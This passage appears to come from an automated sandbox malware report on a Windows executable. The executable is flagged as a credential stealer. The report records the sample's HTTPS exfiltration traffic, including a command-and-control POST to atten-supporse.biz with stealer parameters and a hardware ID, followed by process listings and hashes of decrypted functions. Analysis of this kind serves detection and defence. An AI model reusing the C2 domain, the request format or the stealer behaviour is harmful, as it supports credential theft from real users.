2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: ea f5 9c 7a 06 7f bf db e3 d7 01 5f ef e6 e8 8e b1 5e d6 e9 46 8d f7 de 17 88 b4 ee 4a af f7 f5 93 cc ac e4 4a 4b d5 57 f9 47 13 b3 6b 4e 60 e3 57 65 72 de 7a 3d b7 6e 0d d5 44 bb 1f e2 16 a9 31 0f aa f1 65 59 6b a0 36 da 7f e7 d4 3d ad 84 72 32 4a fb 21 f3 3a b3 84 5d 79 cb ad 92 0f 5c fa 6d 15 42 6b 3e 68 71 c7 9a d8 f6 a9 1b 39 c4 d6 72 81 ec 3d 27 d7 2b 5a d8 ea 14 d9 cc 74 77 c4 be 95 ec 38 cb 81 60 ec e2 04 aa 14 4d ec 94 30 07 d2 77 b7 e1 60 f7 06 03 74 bb e1 69 2b 19 11 af 0a da 97 70 09 88 24 2d 4e 09 9c a1 b3 3e 9b c2 7a 9d fa f7 34 f7 93 df 40 5e a1 59 06 ef 59 42 1b c9 92 4e 38 3e 2a d7 f2 1b c1 1c d7 72 8b 3d e1 3e 28 36 db 5f 16 fc 15 30 33 fa c5 90 4c 65 33 4d 11 06 52 e7 ac 61 38 b3 70 a0 aa 87 6e 28 d1 29 ce f9 ad c3 13 07 61 01 34 28 33 Data Ascii: z_^FJJKWGkN`Werz=nD1eYk6=r2J!:]y\mBk>hq9r='+Ztw8`M0w`ti+p$-N>z4@^YYBN8>*r=>(6_03Le3MRa8pn()a4(3
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: 61 3f ee a6 0a 43 65 a6 63 dc 49 15 95 e0 e3 25 12 9c a3 48 1b 18 ce 83 d8 18 db 2c 0d 81 eb 16 0e b6 8a 91 af e2 e6 3b db 74 19 9b eb 7f 1c 14 71 67 8a a3 79 f6 f5 0c be 9c 35 c9 aa 5f 2d de 9a 5b 76 53 5d b4 66 f2 8c dd db a4 50 1e 5a dc ab 9c e9 5c 6c 97 11 ad e7 94 e2 65 ed fc 5e 40 20 ef 1a ea 1d a3 be 55 a2 58 1b fb 86 e7 6e 9e 0e ef dd ad d8 c7 b0 4c 1d 3a 8b e8 94 4d c0 3d 63 1f 34 37 7b 7e da 6a 08 d7 0c 98 6a 35 07 f4 ee c4 d7 51 5a 05 1b d6 8b 0d e7 d7 be 31 dd 2c 69 91 86 89 70 ff 37 51 cc 9f 20 0c 8d c8 89 dd f1 3d 9c a5 21 f1 14 c8 f0 ab fc 3a 76 f5 2d 6e ce c5 79 8e c3 d3 51 eb 2b 84 9a 87 85 0e be 67 8d 42 bb 3a 38 76 fd cc 84 97 3e c9 de 43 f5 0a d6 7d 41 49 9b 9f 17 8b 30 42 9b 09 74 c3 99 18 af b9 ae 77 6d ea 1a 9c 2b d5 d3 99 1f 5c 44 Data Ascii: a?CecI%H,;tqgy5_-[vS]fPZ\le^@ UXnL:M=c47{~jj5QZ1,ip7Q =!:v-nyQ+gB:8v>C}AI0Btwm+\D
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: c0 5a 11 01 c1 b7 3d c7 ea 7c b7 d6 27 0b 07 9c 25 ca 54 21 6f 64 8a 81 ad 14 d4 d2 41 a5 2c 3a b5 6e 65 17 25 17 41 1e 66 65 3f ab 0f 09 d8 ef 25 a2 59 39 f7 a8 f6 32 75 16 9a 2e 6c ef 39 82 b2 53 e9 c4 ec d0 2f f3 54 62 cc 26 88 76 87 cf d3 b1 65 2e f2 d1 79 9f cc 8a 25 1a 4c 28 a5 68 7b 90 eb 83 f9 c5 ce d3 d5 e2 13 03 75 92 38 90 4b 4b d6 86 2d 7f bb 37 4c ea b7 a2 64 46 92 5b 85 1a c4 ba fb f0 f9 18 65 09 22 61 02 2d be b1 28 67 4d 5b fb 65 6f 4f cc 3c 8c eb 97 ba 3c 18 e5 f2 fd 83 4b 06 2f 3a 35 b8 a2 59 ab 98 a9 d2 d2 21 8b 84 3c 41 ac 5f 80 7b 62 d4 fe 03 f9 47 77 4d 2d f0 be 85 0e ea 82 5c 27 d8 07 c7 1f df c5 e4 65 d3 04 b4 fa 64 de fa a1 af 95 10 3c 95 0c 81 19 9b f9 cd 7c 49 61 d1 c9 cc 67 84 b5 d9 dc 34 e8 cd 0d 19 b7 89 0e c0 e4 db 07 f5 72 Data Ascii: Z=\|'%T!odA,:ne%Afe?%Y92u.l9S/Tb&ve.y%L(h{u8KK-7LdF[e"a-(gM[eoO<<K/:5Y!<A_{bGwM-\'ed<\|Iag4r
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: 37 bd 8a d7 9a 96 a3 7f e3 36 16 53 82 41 09 02 e2 28 96 f5 a1 c0 bc 0f 43 85 01 da bb d3 ab 7e d9 2e 4f ce 4f cc 57 b1 2b a3 ef b7 1a 31 ae 87 f4 65 bd 5f 62 07 ac de 4f 83 86 b4 a6 79 4e d6 48 51 a9 de 63 10 1b 03 6e 95 b0 f4 04 21 36 73 e9 d7 ff 5b 3c e6 01 03 8e 01 37 9c 9b 02 6d a6 44 31 e7 f9 66 e1 36 b3 68 7a ce ea 51 60 55 35 33 9b b9 fa 1d 7e 28 0c 44 bb 72 fd ea f7 e5 42 c8 00 c9 92 8f 80 6a 64 22 3b 5a 3b 27 5d 80 90 59 3e b8 a9 f8 70 0f ef 88 80 8a 33 d7 a9 6f 9b 61 aa 9b a2 be b7 c8 2d 5c 68 fc a2 56 e9 f0 ec f1 11 01 db b3 4d bc 9c a9 73 9f 77 88 d6 bf 1b 85 65 9c b8 80 83 44 9b 4b 7c 9e c5 3f 09 4f bb 21 07 04 e8 86 8f 25 c1 eb 97 42 c3 7b 09 0d c1 3c 8c 33 1a 48 7d 98 e6 71 2b df 24 8d 44 37 07 99 17 51 e0 8a 0c 07 a7 84 66 c2 44 5e e0 69 Data Ascii: 76SA(C~.OOW+1e_bOyNHQcn!6s[<7mD1f6hzQ`U53~(DrBjd";Z;']Y>p3oa-\hVMsweDK\|?O!%B{<3H}q+$D7QfD^i
2024-12-10 02:42:00 UTC	1026	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:42:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vrc6erbtkahkre416ob644ph5m; expires=Fri, 04-Apr-2025 20:28:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TCjNqJBYlFuh6ow%2FXLmaX7Pnlpy8YTqszTNzITcXHqWg4%2F70RkLqE2veiHDCx34A55hjSxNpLhwFzxgnH2lX91taD1HTmC7jYp032fwJVTY0%2F6qeCBk5JoP5CBimTxfX%2FZRTT%2FU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9e0f6aafa0f67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1476&rtt_var=564&sent=270&recv=607&lost=0&retrans=0&sent_bytes=2846&recv_bytes=586077&delivery_rate=1922317&cwnd=32&unsent_bytes=0&cid=5dacffcad3da6bb1&ts=4422&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49809	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:42:01 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-10 02:42:01 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 33 45 36 33 46 30 31 37 39 35 36 30 45 38 36 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=83E63F0179560E8623D904AF30EFEBBC
2024-12-10 02:42:03 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:42:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cqc4jn2v7hl6dmac8k2d690t7t; expires=Fri, 04-Apr-2025 20:28:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pIIfh2Y6uwF87%2BVj9pW9dmwS1NAnqwj0eG7GimCOqIKuGz%2FBtU1h%2FnMuAC7Bb9I2fl5xIz1RrgnMbNIE1Q3odooCIqXUfWd6yb%2Fq%2F2rskFlfTjSeQmE4XfkYrMsfwJApw9jwH1Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9e11a8e328c83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1791&rtt_var=685&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1580942&cwnd=189&unsent_bytes=0&cid=a04a966ec264143c&ts=1869&x=0"
2024-12-10 02:42:03 UTC	214	IN	Data Raw: 64 30 0d 0a 67 59 79 44 63 47 63 4f 52 4d 70 46 48 41 4f 50 6d 43 4c 75 79 31 6c 36 35 34 6d 4b 65 67 39 79 38 70 56 66 6d 41 45 34 63 31 76 61 39 36 45 46 52 54 52 6d 6f 6a 46 6f 63 37 58 45 44 62 4c 6b 61 45 4c 53 70 37 68 4c 4f 6c 7a 44 70 47 79 32 4d 41 34 76 64 4f 37 71 35 53 78 49 61 69 47 73 61 33 6c 37 36 72 6f 4f 7a 4b 30 74 57 4e 32 35 70 6c 68 71 55 4d 69 6b 49 72 52 36 47 67 5a 35 75 36 37 72 42 42 4e 2b 66 70 5a 71 51 43 79 2b 6f 42 66 41 2b 57 68 50 79 62 69 37 53 53 46 44 78 4d 6c 77 36 33 56 64 45 6a 62 64 6f 2f 45 52 43 57 6f 72 70 32 74 35 65 2b 71 36 44 73 79 74 4c 56 6a 64 75 61 5a 59 61 6c 44 49 70 53 4c 46 0d 0a Data Ascii: d0gYyDcGcORMpFHAOPmCLuy1l654mKeg9y8pVfmAE4c1va96EFRTRmojFoc7XEDbLkaELSp7hLOlzDpGy2MA4vdO7q5SxIaiGsa3l76roOzK0tWN25plhqUMikIrR6GgZ5u67rBBN+fpZqQCy+oBfA+WhPybi7SSFDxMlw63VdEjbdo/ERCWorp2t5e+q6DsytLVjduaZYalDIpSLF
2024-12-10 02:42:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	4
Start time:	21:41:11
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5b0000
File size:	1'885'696 bytes
MD5 hash:	430241EA54C659CD093CBF48A09F8324
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1664427486.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1639125954.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1637781834.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:35:19
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	23:35:21
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,1216754078146385774,10229493209722040529,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:35:23
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:35:24
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1912,i,604844754400546149,4570885901595365949,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	2
Total number of Limit Nodes:	0

Executed Functions

Function 0660EBE3 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0660EC04

Strings

!tB^, xrefs: 0660EE65

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: !tB^
API String ID: 4275171209-615417535
Opcode ID: 762e0ab5f20afe8c293c09c249024c91f9eafb472380ab08fd641af27b9f7f58
Instruction ID: 90bee79d9b3a237a279aaba66c63b8c05b3b28ffb4cd4fbc74d118b503e52e6e
Opcode Fuzzy Hash: 762e0ab5f20afe8c293c09c249024c91f9eafb472380ab08fd641af27b9f7f58
Instruction Fuzzy Hash: E51127B650C600DFF3586F29C90867FBAE5EBC4310F12893EE58583784D6710852C786

Function 0660E801 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 0660E801

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a82a5ba20bf23bfec35ce93d1a9f35b7470bc5e4e96946c269639d15ad594a94
Instruction ID: ecc7f66af0243cc16a4dcc6385a5ccb68c7af21314b39e2d39c52d4acd0de905
Opcode Fuzzy Hash: a82a5ba20bf23bfec35ce93d1a9f35b7470bc5e4e96946c269639d15ad594a94
Instruction Fuzzy Hash: 6EC04C7440851ECF9B851FB8900C0CE3A21EE06321B200B11FC3285EC1DB774D20CA99

Non-executed Functions

Function 0661C004 Relevance: 3.0, Strings: 2, Instructions: 542
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%pO, xrefs: 0661C675
EB~_, xrefs: 0661C56A

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID: %pO$EB~_
API String ID: 0-2651679601
Opcode ID: eddff240e3d5098f622ff7c57e5ce722db53c93c1b0ac270f27e315670b008fe
Instruction ID: 27569aeaae82c3ace6f473cd63510ff360148f6976b2e74feb3b52826b474eb9
Opcode Fuzzy Hash: eddff240e3d5098f622ff7c57e5ce722db53c93c1b0ac270f27e315670b008fe
Instruction Fuzzy Hash: BC12F1F3F142108BF3444E78DD88366B6D2EB94320F2A863CDA98977C5D97E9D058786

Function 0664FA49 Relevance: 2.9, Strings: 2, Instructions: 431
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

K<o, xrefs: 0664FE45
16_?, xrefs: 0665004A

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID: 16_?$K<o
API String ID: 0-3763138273
Opcode ID: bef481c82c6690d6590218a564d5a64a2cbbde79bdbe27d30ac02d75c8e30623
Instruction ID: e09e39d20d7550a07b55dbf2e533436f29aa641f08952ea38647b28e784624af
Opcode Fuzzy Hash: bef481c82c6690d6590218a564d5a64a2cbbde79bdbe27d30ac02d75c8e30623
Instruction Fuzzy Hash: 50E113F3E047144BF3145D29DC88366B6D2EB94320F2B863D9F88A77C4E97E9D058286

Function 06661644 Relevance: 2.9, Strings: 2, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

aBH, xrefs: 06661644
/|_\, xrefs: 06661B90

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID: /|_\$aBH
API String ID: 0-1576370449
Opcode ID: e2483d4ce6d72de6be28997514e07f6f07dde446abc63f98b19ca268a920436b
Instruction ID: 3009d87e71228e16b27c09bd121a78cd0f8608773f656008c9fb153489c5bc3f
Opcode Fuzzy Hash: e2483d4ce6d72de6be28997514e07f6f07dde446abc63f98b19ca268a920436b
Instruction Fuzzy Hash: DAD124B3F116254BF3544D38DC983A6BA92EB94320F2F423D8E88A7BC4D97E5D094785

Function 0666D84E Relevance: 1.8, Strings: 1, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

rs!, xrefs: 0666DEAC

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID: rs!
API String ID: 0-1128404675
Opcode ID: 724649644b8dadc07d3163fbac4915f48375619f6bc8a903c44fe5f0ff1d949b
Instruction ID: 42beffade4076c80e028d95c9f3dac5492ac8b6bae43c8f500501cf652de4476
Opcode Fuzzy Hash: 724649644b8dadc07d3163fbac4915f48375619f6bc8a903c44fe5f0ff1d949b
Instruction Fuzzy Hash: B002EFB3F146254BF3544D79DC88367BAC6DB94320F2B823C9E98A77C5E97E9C058280

Function 0663C987 Relevance: 1.8, Strings: 1, Instructions: 532
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d>^?, xrefs: 0663CF3F

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID: d>^?
API String ID: 0-699083317
Opcode ID: 46872b8eea4672a3f181cac70d1440e530a5add9acc28ba5673f4adb0b35167e
Instruction ID: 2ce5c354ecb5b7cd9eb2ab2f3a27823acf2639d85d48aa5a1d1429e0087c25ad
Opcode Fuzzy Hash: 46872b8eea4672a3f181cac70d1440e530a5add9acc28ba5673f4adb0b35167e
Instruction Fuzzy Hash: 6902E0B3F156204BF3448939DC983667697EBD4320F2B823D8E98A77C5ED7D5D064284

Function 06645B5C Relevance: 1.8, Strings: 1, Instructions: 518
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Wc~~, xrefs: 066461CD

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID: Wc~~
API String ID: 0-990811453
Opcode ID: 8a2f4d8b0a1cf25a3e0bd5f63b4f8d5e2e9121fac6fedeb38525915b510e1dd8
Instruction ID: 93066372091a2f03e481c99434183172cdfe93bdf2e4cf9fe1b60df865ecb3cf
Opcode Fuzzy Hash: 8a2f4d8b0a1cf25a3e0bd5f63b4f8d5e2e9121fac6fedeb38525915b510e1dd8
Instruction Fuzzy Hash: 2AF1C1B3F116144BF3044939DC583A6BA97EBD4320F2F823D9E889B7C5D97E9D0A4285

Function 0662955C Relevance: 1.7, Strings: 1, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 066297FF

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

